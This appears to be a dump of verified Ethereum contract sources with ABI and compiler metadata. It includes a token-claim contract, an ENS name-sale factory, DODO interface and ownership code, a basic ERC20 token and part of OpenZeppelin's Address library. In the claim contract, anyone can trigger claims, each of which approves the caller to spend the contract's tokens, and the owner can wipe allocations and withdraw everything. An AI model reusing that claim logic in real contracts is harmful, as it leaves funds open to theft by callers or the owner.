privAllo [ 0x408701FB25f39BA924e52534bF8f53De600714fD ] = 12500000 ;
privAllo [ 0x0Ee7686b4710cBEdcaDa11FdC8C9F5c22058fE38 ] = 6250000 ;
privAllo [ 0x586A404bd915E2e92Db83fE5Bd981c3c0bFa4624 ] = 6250000 ;
privAllo [ 0x742DC6a4cfDe695a9a9c5bF1ce6fA1605a5218d8 ] = 37500000 ;
privAllo [ 0x3b3534FBedDC402AbaD4E779994700EF2fFE8ac8 ] = 6250000 ;
privAllo [ 0x3b9A8249A749098c7dB331aE353Dfd50DF06929e ] = 5000000 ;
privAllo [ 0x7ca72c5E66C84942b3ce14e378B8A838BAd1B2d9 ] = 18562500 ;
privAllo [ 0xA9E5De97602302745B0875b1D1678F15B36E57A6 ] = 1856250 ;
privAllo [ 0x0b89f9Dd41DBFB165565C52B5163889be454Ca90 ] = 5568750 ;
privAllo [ 0x11b53D1dAC74F1038A63e12651E5C4341Fc19d5f ] = 18562500 ;
privAllo [ 0x5Fa9099B27F7F5760980b027aA7652b18A904348 ] = 18562500 ;
privAllo [ 0x20BCe045Cb22Bc88346cE0948F3C2314186037c5 ] = 853875 ;
privAllo [ 0x32161c884Bd0c616876eFCAA7750fE9f13C98360 ] = 1856250 ;
privAllo [ 0x33e2aaC3EF77374d157276DD1455f23Ad5dbDcAF ] = 18562500 ;
privAllo [ 0x36A7FcaF41b24e488f4C5eCEF2dFD06985442467 ] = 1856250 ;
privAllo [ 0x4812c3819320F146D3fefF0A3DD393fD7cFD1672 ] = 3712500 ;
privAllo [ 0x49BACE623D636cABb135E32F75C38f71b196D30D ] = 9281250 ;
privAllo [ 0x4ce30368c16477B5dE9F61309806Bc452d144BbD ] = 1856250 ;
privAllo [ 0x558fE5284F10a1231FA2509f20F9626b5BEDF670 ] = 18562500 ;
privAllo [ 0x586A404bd915E2e92Db83fE5Bd981c3c0bFa4624 ] = 18562500 ;
privAllo [ 0x5E5b632873076e176971994C9a76706423720A84 ] = 9281250 ;
privAllo [ 0x611Cbcf375fbD0BDAd0b47B7F9911e943a2a136b ] = 9281250 ;
privAllo [ 0x63E71839bCeBDecf19f049017432D4f2C170196a ] = 9281250 ;
privAllo [ 0x6a5c95590fbA36E360699C0797b7ae5c27175bFd ] = 9281250 ;
privAllo [ 0x448E5C2E2ab8A0572C5e55Fbe2b50502A7Fc95BD ] = 18562500 ;
privAllo [ 0x25EDeb9f5FFEa60C3Feb89e08308aF72018FC9BE ] = 18574280 ;
privAllo [ 0xC740C2E2bEb26261FFC554e29EB9b28fD874dF5c ] = 18562500 ;
privAllo [ 0xa0194D9a21C159167f9392520196AB39Eba507d5 ] = 18648968 ;
privAllo [ 0xC4A171992cf93066f825F9752a7F650D1A87e2DF ] = 18562500 ;
privAllo [ 0xB524D7c3d04bd07bC80E6b994239Ce89814f0BE5 ] = 18562500 ;
privAllo [ 0x74eFb008c60E9a910cb00C46791676DAf35f05A3 ] = 18562500 ;
privAllo [ 0x79DC23C1D2a154F23a5c65de87C588A28063fC5E ] = 18562500 ;
privAllo [ 0x82097C776a100adC4cbDcb8C2799bd03b98B984c ] = 18562500 ;
privAllo [ 0x8248c2527d61ca3DAa9495Bd9ACB878eB6E7B0bb ] = 18562500 ;
privAllo [ 0x85C4B658AE01b9E445Cc941A6183894758598668 ] = 18562500 ;
privAllo [ 0x91920Ad1664D284867efDb630221B48ac9d8e9dE ] = 18562500 ;
privAllo [ 0x989303a0A5A60956267bcA39f5441863cb46c6f2 ] = 18562500 ;
privAllo [ 0x98E413b4c377be827DeCdbA8A1b6802F7b4A9aC9 ] = 3712500 ;
privAllo [ 0x9d4979cD1861a73c62a6DCAF698f7b812318cf29 ] = 3712500 ;
privAllo [ 0x9e51a28349c8a68C6Bf55080784E4E87C85A1f44 ] = 18562500 ;
privAllo [ 0x9ef28887781E9AD0B1abA2e0693A3F8A69716CaE ] = 9281250 ;
privAllo [ 0xA4b1a7D82b63280d259006adBCB7FB61624B68b9 ] = 18562500 ;
privAllo [ 0xBEC826E8b78E52093Df8d4169f506F41A6bFE15e ] = 9281250 ;
privAllo [ 0xC14C43fB61794E803916E3C66fc963F77d7aC095 ] = 18562500 ;
privAllo [ 0xC1f1dc0029B41cc2c2861Af71fD38Aa5198b3Be9 ] = 18562500 ;
privAllo [ 0xc4C2a5F9C40A76C6C8ec898Dc3c0A6220E196368 ] = 18568316 ;
privAllo [ 0xD0c2314A9C74dD4Eb514add7eA4fe1b06E6222C8 ] = 9281250 ;
privAllo [ 0xD105609E711ce3771215045864F2Cf0FaE91A70e ] = 18562500 ;
privAllo [ 0xd40bCbce6AC514c2E7EC9620E60C4376F4BA99dc ] = 7425000 ;
privAllo [ 0xD538E9D5557AdC430A0DAC13E8AD1dddb0c6B509 ] = 18564750 ;
privAllo [ 0xD5cb038b181dA859a0b5D0601270e1dc1D9c02be ] = 3712500 ;
privAllo [ 0xdF3f38d3BEd0aCac7cDC0f15514F1710137A6e75 ] = 9281250 ;
privAllo [ 0xE71FDA8eB295D2603704fC2b0994E483671c33B4 ] = 18562500 ;
privAllo [ 0xf7dEa950Bbf1c17cd55c0E886Fb1811c54691770 ] = 14850000 ;
privAllo [ 0xF803f4FF8A1647531aaA70B89cCC23Db3103A613 ] = 3712500 ;
privAllo [ 0xf9381b5e6Ab94c2775d8a8F14C30B7d8C7FAa2a3 ] = 18562500 ;
privAllo [ 0xFc4d1E48bF228346a39c6af3b78B19ECCA1cFC98 ] = 9281250 ;
privAllo [ 0xfE33e3E48b1BA04708037B9Da2F0D4caD7A42dfb ] = 9281250 ;
privAllo [ 0xfF74F29B4A729E198093579D1e5E02A6DB903C39 ] = 9281250 ;
}
modifier owner {
require(isOwner[msg.sender] == true); _;
}
function publicClaim1(address user) public{
require(hasClaimed_pub1[user] == false);
uint amount = pubAllo[user] * 10**6;
TOKEN.approve(address(this),amount);
TOKEN.approve(msg.sender,amount);
TOKEN.transferFrom(address(this),user,amount);
hasClaimed_pub1[user] = true;
}
function publicClaim2(address user) public{
require(hasClaimed_pub2[user] == false);
require(block.timestamp > claim2_timestamp);
uint amount = pubAllo[user] * 10**6;
TOKEN.approve(address(this),amount);
TOKEN.approve(msg.sender,amount);
TOKEN.transferFrom(address(this),user,amount);
hasClaimed_pub2[user] = true;
}
function privateClaim1(address user) public{
require(hasClaimed_priv1[user] == false);
uint amount = privAllo[user] * 10**6;
TOKEN.approve(address(this),amount);
TOKEN.approve(msg.sender,amount);
TOKEN.transferFrom(address(this),user,amount);
hasClaimed_priv1[user] = true;
}
function privateClaim2(address user) public{
require(block.timestamp > claim2_timestamp);
require(hasClaimed_priv2[user] == false);
uint amount = privAllo[user] * 10**6;
TOKEN.approve(address(this),amount);
TOKEN.approve(msg.sender,amount);
TOKEN.transferFrom(address(this),user,amount);
hasClaimed_priv2[user] = true;
}
function privateClaim3(address user) public{
require(block.timestamp > claim3_timestamp);
require(hasClaimed_priv3[user] == false);
uint amount = privAllo[user] * 10**6;
TOKEN.approve(address(this),amount);
TOKEN.approve(msg.sender,amount);
TOKEN.transferFrom(address(this),user,amount);
hasClaimed_priv3[user] = true;
}
function withdrawETH() public owner{
uint contractBalance = address(this).balance;
payable(msg.sender).transfer(contractBalance);
}
function withdrawTokens(address token) public owner{
ERC20 _TOKEN = ERC20(token);
uint contractBalance = _TOKEN.balanceOf(address(this));
_TOKEN.approve(address(this),contractBalance);
_TOKEN.approve(msg.sender,contractBalance);
_TOKEN.transferFrom(address(this), msg.sender, contractBalance);
}
function setTOKEN(address token) public owner{
suntoken = token;
}
function wipe(address user) public owner{
pubAllo[user] = 0;
privAllo[user] = 0;
}
receive() external payable {}
fallback() external payable {}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"privateClaim1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"privateClaim2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"privateClaim3","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"publicClaim1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"publicClaim2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"setTOKEN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"wipe","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.6+commit.11564f7e | false | 200 | Default | None | false | ipfs://8936a22f878fb0f18a4606d6103ccdea4317034b43362921d2e42bc215a310ad |
|||
SellENS | SellENS.sol | 0x56d0ab3514ab2a76c44cdedefc7a7d5fa95127ac | Solidity | pragma solidity ^0.4.11;
/*
ENS Trade Factory
========================
Listed names and additional information available at ensnames.com
Author: /u/Cintix
*/
// Interfaces for the various ENS contracts
contract AbstractENS {
function setResolver(bytes32 node, address resolver);
}
contract Resolver {
function setAddr(bytes32 node, address addr);
}
contract Deed {
address public previousOwner;
}
contract Registrar {
function transfer(bytes32 _hash, address newOwner);
function entries(bytes32 _hash) constant returns (uint, Deed, uint, uint, uint);
}
// The child contract, used to make buying as simple as sending ETH.
contract SellENS {
SellENSFactory factory;
function SellENS(){
// Store the address of the factory (0x34abcc1fdedb49c953445c11a71e428d719ba8d9)
factory = SellENSFactory(msg.sender);
}
function () payable {
// Delegate the work back to the factory to save space on the blockchain.
// This saves on gas when creating sell contracts.
// Could be replaced with a delegatecall to a library, but that
// would require a second contract deployment and added complexity.
factory.transfer(msg.value);
factory.sell_label(msg.sender, msg.value);
}
}
// The factory which produces the seller child contracts.
contract SellENSFactory {
// Store the relevant information for each child contract.
struct SellENSInfo {
string label;
uint price;
address owner;
}
mapping (address => SellENSInfo) public get_info;
// The developer address, used for seller fees.
address developer = 0x4e6A1c57CdBfd97e8efe831f8f4418b1F2A09e6e;
// The Ethereum Name Service primary contract.
AbstractENS ens = AbstractENS(0x314159265dD8dbb310642f98f50C066173C1259b);
// The Ethereum Name Service Registrar contract.
Registrar registrar = Registrar(0x6090A6e47849629b7245Dfa1Ca21D94cd15878Ef);
// The Ethereum Name Service Public Resolver contract.
Resolver resolver = Resolver(0x1da022710dF5002339274AaDEe8D58218e9D6AB5);
// The hash of ".eth" under which all top level names are registered.
bytes32 root_node = 0x93cdeb708b7545dc668eb9280176169d1c33cfd8ed6f04690a0bcc88a93fc4ae;
// Events used to help track sales.
event SellENSCreated(SellENS sell_ens);
event LabelSold(SellENS sell_ens);
// Called by name sellers to make a new seller child contract.
function createSellENS(string label, uint price) {
SellENS sell_ens = new SellENS();
// Store the seller's address so they can get paid when the name sells.
get_info[sell_ens] = SellENSInfo(label, price, msg.sender);
SellENSCreated(sell_ens);
}
// Called only by seller child contracts when a name is purchased.
function sell_label(address buyer, uint amount_paid){
SellENS sell_ens = SellENS(msg.sender);
// Verify the sender is a child contract.
if (get_info[sell_ens].owner == 0x0) throw;
string label = get_info[sell_ens].label;
uint price = get_info[sell_ens].price;
address owner = get_info[sell_ens].owner;
// Calculate the hash of the name being bought.
bytes32 label_hash = sha3(label);
// Retrieve the name's deed.
Deed deed;
(,deed,,,) = registrar.entries(label_hash);
// Verify the deed's previous owner matches the seller.
if (deed.previousOwner() != owner) throw;
// Calculate the hash of the full name (i.e. rumours.eth).
bytes32 node = sha3(root_node, label_hash);
// Set the name's resolver to the public resolver.
ens.setResolver(node, resolver);
// Configure the resolver to direct payments sent to the name to the buyer.
resolver.setAddr(node, buyer);
// Transfer the name's deed to the buyer.
registrar.transfer(label_hash, buyer);
// Dev fee of 5%
uint fee = price / 20;
// The seller pays nothing to unlist and get their name back.
if (buyer == owner) {
price = 0;
fee = 0;
}
// 5% to the dev
developer.transfer(fee);
// 95% to the seller
owner.transfer(price - fee);
// Any extra past the sale price is returned to the buyer.
if (amount_paid > price) {
buyer.transfer(amount_paid - price);
}
LabelSold(sell_ens);
}
// The factory must be payable to receive funds from its child contracts.
function () payable {}
} | [{"inputs":[],"payable":false,"type":"constructor"},{"payable":true,"type":"fallback"}] | v0.4.11+commit.68ef5810 | false | 200 | Default | false | bzzr://e75891c413fcc9615ecc1bebb7422c13d8f8085947b4f5365543d9b7cac87796 |
||||
DODOLpToken | contracts/intf/IERC20.sol | 0xd9d0bd18ddfa753d0c88a060ffb60657bb0d7a07 | Solidity | /*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
} | [{"inputs":[{"internalType":"address","name":"_originToken","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferPrepared","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_NEW_OWNER_","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_OWNER_","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"originToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.9+commit.3e3065ac | true | 200 | 000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2 | Default | Apache-2.0 | false | ipfs://841bccf74b44eca30e990eb033f46ce3d579e580f6773f839326e8d16131a6b2 |
||
DODOLpToken | contracts/lib/Ownable.sol | 0xd9d0bd18ddfa753d0c88a060ffb60657bb0d7a07 | Solidity | /*
Copyright 2020 DODO ZOO.
*/
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract Ownable {
address public _OWNER_;
address public _NEW_OWNER_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
constructor() internal {
_OWNER_ = msg.sender;
emit OwnershipTransferred(address(0), _OWNER_);
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "INVALID_OWNER");
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() external {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
} | [{"inputs":[{"internalType":"address","name":"_originToken","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferPrepared","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_NEW_OWNER_","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_OWNER_","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"originToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.9+commit.3e3065ac | true | 200 | 000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2 | Default | Apache-2.0 | false | ipfs://841bccf74b44eca30e990eb033f46ce3d579e580f6773f839326e8d16131a6b2 |
||
TheToken | TheToken.sol | 0xc14ab1659daa27eeea0acc2b646b99f7a73c3e33 | Solidity | contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract TheToken is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
function TheToken(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
balances[msg.sender] = _initialAmount; // Give the creator all initial tokens
totalSupply = _initialAmount; // Update total supply
name = _tokenName; // Set the name for display purposes
decimals = _decimalUnits; // Amount of decimals for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_initialAmount","type":"uint256"},{"name":"_tokenName","type":"string"},{"name":"_decimalUnits","type":"uint8"},{"name":"_tokenSymbol","type":"string"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.20+commit.3155dd80 | false | 200 | 000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009e9a38ee69ab4e5b881000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034642420000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://680019932cd254f88ea2bcd04ae8b96d07fad9d7f9aa76ba7ec4878014112534 |
|||
SniftieERC721IPFS | Address.sol | 0x9e28eb03f8cf22f3beb151d8bd8db2f4a79e22dc | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
